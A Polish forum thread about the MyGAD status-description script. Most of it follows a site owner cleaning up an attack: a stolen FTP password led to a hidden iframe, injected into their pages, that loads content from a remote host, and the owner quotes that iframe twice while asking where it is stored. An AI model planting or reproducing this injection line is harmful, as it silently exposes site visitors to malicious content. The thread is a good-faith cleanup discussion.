Ocena wątku:
  • 0 głosów - średnia: 0
  • 1
  • 2
  • 3
  • 4
  • 5
MyGAD - pomocy
#1
Witam, jakie są warunki licencyjne mygad. Szukałem po necie i nie mogę nigdzie znaleść. Znacie jakiś skrypt do prowadzenia opisów gg na licencji ogólnodostępnej czyli jak się nie mylę to GLU/GPL czy jakoś tak to się nazywa ta licencja. Proszę o pomoc. Jeżeli jest to na jakieś licencji to możecie mi dać jakieś namiary na właściciela skryptu?
Pozdrawiam ar4
Odpowiedz
#2
kiedys na allegro sprzedawali po 30 zl mygada
Odpowiedz
#3
A co mi z tego, że kiedyś? Ja potrzebuję na teraz jakiś skrypt obsługi opisów gg
Odpowiedz
#4
Posiadam stronę z opisami opartą na skrypcie myGaD
Niestety wirus wykradł mi hasło z Total Commandera i wstawił u góry na stronie niewidoczną ramkę, która obniżyła stronę w dół.
Kod:
<iframe src="http://a5j.ru:8080/ts/in.cgi?pepsi101" width=125 height=125 style="visibility: hidden"></iframe>

Chciałem to usunąć, ale nie wiem gdzie jest ten element. Sprawdziłem 'index.php' oraz '.../templates/Heil/index.tpl' ale tego tam nie ma.
Ma ktoś jakieś pomysły, gdzie można to znaleźć ?
Odpowiedz
#5
index.php na 100%


i radziłym zmienic hasla itp i uzywac innego programu FTP
Odpowiedz
#6
Niestety nie ma w index.php tego kodu:
Kod:
<iframe src="http://a5j.ru:8080/ts/in.cgi?pepsi101" width=125 height=125 style="visibility: hidden"></iframe>

Kod w index.php wygląda tak:
Kod PHP:
<?php
/**
* Główny program. Plik zajmuje się wy¶wietlaniem ostatnio dodanych opisów,
* opisów z wybranej kategorii, opisów napisanych przez wskazanego użytkownika,
* wyszukiwaniem opisów
*
* Zgodnie z licencj± nie wolno usuwać poniższego tekstu
*
* Licencja Nr: xxxxxxxxxxxxxxxxxxxxxxxx

* @Copyright 2006   B-D-S www.b-d-s.pl
* @link (demo)      http://mygad.b-d-s.pl/mygad2.0/
* @link             http://mygad.b-d-s.pl/
*/

include('./common.php');
include(
PATH_FUNCTIONS.'files2array.php');

// ===========Ładujemy ustawienia do pamięci podręcznej===========
$site->assign('config'$site->cache());
// ===============================================================

$site->assign('categories'$db->get_results('SELECT c.*,count(d.id) AS count FROM '.PREFIX.'categories c LEFT JOIN '.PREFIX.'descs d ON (d.cat_id=c.id AND d.active="1") GROUP BY c.id ORDER BY name ASC'ARRAY_A));
$site->assign('menu'$db->get_results('SELECT url,text FROM '.PREFIX.'links WHERE type="M" ORDER BY pos ASC' ,ARRAY_A));

$site->assign('numDescsAll'$db->get_count('SELECT count(*) FROM '.PREFIX.'descs'));
$site->assign('numDescsNoActive'$db->get_count('SELECT count(*) FROM '.PREFIX.'descs WHERE active!="1" '));

if(
$site->cache('show_news') == 1$site->assign('news'$db->get_results('SELECT n.*,FROM_UNIXTIME(n.time,"'.$site->cache('date_format').'") AS date,COUNT(c.id) AS count,SUBSTRING(n.text,1,'.$site->cache('news_length').') AS text FROM '.PREFIX.'news n LEFT JOIN '.PREFIX.'comments c ON (n.id=c.news_id) GROUP BY n.id ORDER BY n.time DESC'ARRAY_A));

// uwaga na niektórych serwerach nie działa mysql'owa funkcja substring
// jak dot±d nie znalazłem przyczyny(http://forum.webhelp.pl/viewtopic.php?t=115433)
// w takim przypadku należy użyć poniższego kodu:
// if($site->cache('show_news') == 1) $site->assign('news', $db->get_results('SELECT n.*,FROM_UNIXTIME(n.time,"'.$site->cache('date_format').'") AS date,COUNT(c.id) AS count FROM '.PREFIX.'news n LEFT JOIN '.PREFIX.'comments c ON (n.id=c.news_id) GROUP BY n.id ORDER BY n.time DESC', ARRAY_A));


if($site->cache('show_links') == 1$site->assign('links'$db->get_results('SELECT * FROM '.PREFIX.'links WHERE type="L" ORDER BY pos ASC'ARRAY_A));
if(
$site->cache('show_users') == 1$site->assign('users'$db->get_results('SELECT author, count(id) count FROM '.PREFIX.'descs WHERE active = "1" AND author != "admin" AND author != "anonim"  GROUP BY author ORDER BY count DESC, author ASC LIMIT 0,'.$site->cache('num_users').''ARRAY_A));
if(
$site->cache('show_last_descs') == 1$site->assign('lastDescs'$db->get_results('SELECT *,FROM_UNIXTIME(time,"'.$site->cache('date_format').'") AS date FROM '.PREFIX.'descs WHERE active = "1" ORDER BY time DESC LIMIT 0,'.$site->cache('num_last_descs').'' ,ARRAY_A));



// należy wkleić plik do prawej kolumny
if(isset($_GET['mode'])) {
    
// zmienna $modulesArray przechowuje listę modułów, jakie maj± być dostępne
    // funkcja files2array pobiera nazwy plików i wstawia je do tablicy
    // oczywiscie robi to przy każdym przeładowaniu strony
    // aby nieco przy¶pieszyć pracę skryptu można zrezygnować z użycia tej funkcji i zdefinować moduły ręcznie
    // wtedy zmianne $modulesArray powinna wygl±dać mniej więcej tak $modulesArray = array('add.php', 'best.php', ...);
    
$modulesArray files2array(PATH_MODULES);

    if(
in_array($_GET['mode'], $modulesArray)) include(PATH_MODULES.$_GET['mode'].'.php');

    
$include $_GET['mode']; 
} else {
    
$include='main';
}

$site->assign('include''./'.$include.'.tpl');
$site->display('./index.tpl');
ob_end_flush();
?>

Nie ma tego również w index.tpl (folder templates).

Zmieniłem hasła do wszystkich stron oraz nie mam tego zapisane w Total Commander (wcześniej miałem, klikałem tylko w 'Połącz' i wchodził na serwer).
Niestety to nic nie dało, nadal pojawia się ramka na moich stronach, jest dzień spokoju a w kolejny znowu ramka. Co zrobić w takiej sytuacji, może faktycznie usunę Total Commandera, a zainstaluje jakiś bezpieczny (tylko jaki ? - najlepiej tak prosty jak Total Commander).
Zainstalowałem również program anty szpiegowskie - "Spyware Doctor", "AVG Anti-Spyware" oraz "Trojan Remover". Co prawda znalazły kilka rzeczy, ale problem pozostał.

Nie rozumie jednego, zmieniłem hasło i wpisuje go w Total Commanderze ręcznie i znowu wirus zmienia mi indexy na stronach.
Odpowiedz
#7
no to uzywaj smartftp na przyklad, a ramki nie koniecznie sa w indexach moga byc gdzies w templatkach
Odpowiedz
#8
Poszukaj w bazie danych, wyczyść cache. Musi pomóc.
Odpowiedz
#9
W bazie mam takie tabele:
mygad_categories
mygad_comments
mygad_config
mygad_descs
mygad_descs_other
mygad_emails
mygad_links
mygad_news
mygad_tmp

Trochę szukałem, ale za bardzo nie wiem gdzie to może być.
Ma ktoś jakiś pomysł ?
Odpowiedz
#10
Jakoś sobie poradziłem, zgrałem bazę danych na dysk i usunąłem wszystkie tabele z serwera. Następnie zamieniłem wszystkie pliki na serwerze, zainstalowałem ponownie skrypt i wgrałem ponownie tabele na serwer.
Problem zniknął, nie ma już ukrytej ramki.
Odpowiedz


Podobne wątki…
Wątek: Autor Odpowiedzi: Wyświetleń: Ostatni post
  POMOCY! szkapa993 1 3,145 06-11-2011, 04:51
Ostatni post: kancik
  MyGad - skrypt opisy gg - jak zwiekszyc limit wpisywanych znakow dla opisu? setezer 2 4,215 06-10-2010, 14:54
Ostatni post: setezer
Exclamation System news - pomocy, kyóry wziąść Simonen 1 2,912 06-03-2010, 02:12
Ostatni post: shadyPL

Skocz do:


Użytkownicy przeglądający ten wątek: 1 gości
Sponsorzy i przyjaciele
SeoHost.pl